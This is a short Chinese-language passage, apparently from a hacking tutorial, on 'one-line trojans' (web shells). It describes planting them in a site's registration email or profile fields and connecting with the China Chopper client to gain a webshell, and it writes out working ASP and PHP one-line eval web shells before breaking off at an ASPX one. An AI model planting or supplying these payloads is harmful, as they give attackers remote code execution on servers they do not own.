05、一句話木馬，小馬和大馬

可以在註冊郵箱或者個人主頁插入一句話木馬，value值可以隨意設置，在使用菜刀連接時要用到該value值。 當知道了數據庫的url，可以利用本地一張頁面進行連接得到webshell，不知道數據庫也可以，只要知道一句話木馬文件被插入到哪裏就可以。B/S架構。 asp：<%eval request("value")%> php：<?php @eval($_POST[value]);?> aspx：<%

>>阅读原文<<